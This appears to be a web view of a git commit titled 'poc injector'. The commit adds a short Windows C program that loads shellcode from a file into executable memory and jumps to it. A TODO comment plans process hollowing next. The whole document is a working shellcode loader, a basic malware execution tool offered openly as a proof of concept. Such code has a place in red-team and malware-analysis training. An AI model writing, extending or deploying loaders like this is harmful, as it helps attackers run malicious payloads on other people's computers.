poc injector
This commit is contained in:
parent
a2963c9af5
commit
1aa378391b
51
injector/injector.c
Normal file
51
injector/injector.c
Normal file
@ -0,0 +1,51 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
FILE *fin;
|
||||
unsigned char *buffer;
|
||||
long fsize;
|
||||
LPVOID base;
|
||||
|
||||
// TODO: implement process hollowing
|
||||
|
||||
if (argc != 2)
|
||||
{
|
||||
printf("[?] Usage: injector.exe <shellcode-path>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] Reading shellcode from %s\n", argv[1]);
|
||||
fin = fopen(argv[1], "rb");
|
||||
|
||||
if (fin == NULL)
|
||||
{
|
||||
printf("[!] Error: could not open file %s\n", argv[1]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
fseek(fin, 0, SEEK_END);
|
||||
fsize = ftell(fin);
|
||||
rewind(fin);
|
||||
|
||||
buffer = (char *)malloc(fsize);
|
||||
fread(buffer, fsize, 1, fin);
|
||||
fclose(fin);
|
||||
|
||||
base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (base == NULL)
|
||||
{
|
||||
printf("[!] Error: could not allocate memory\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
memcpy(base, buffer, fsize);
|
||||
|
||||
printf("[+] Executing 'jmp *%%%p'\n", base);
|
||||
__asm__("jmp *%0\n" ::"r"(base));
|
||||
|
||||
return 1;
|
||||
}
|
Loading…
Reference in New Issue
Block a user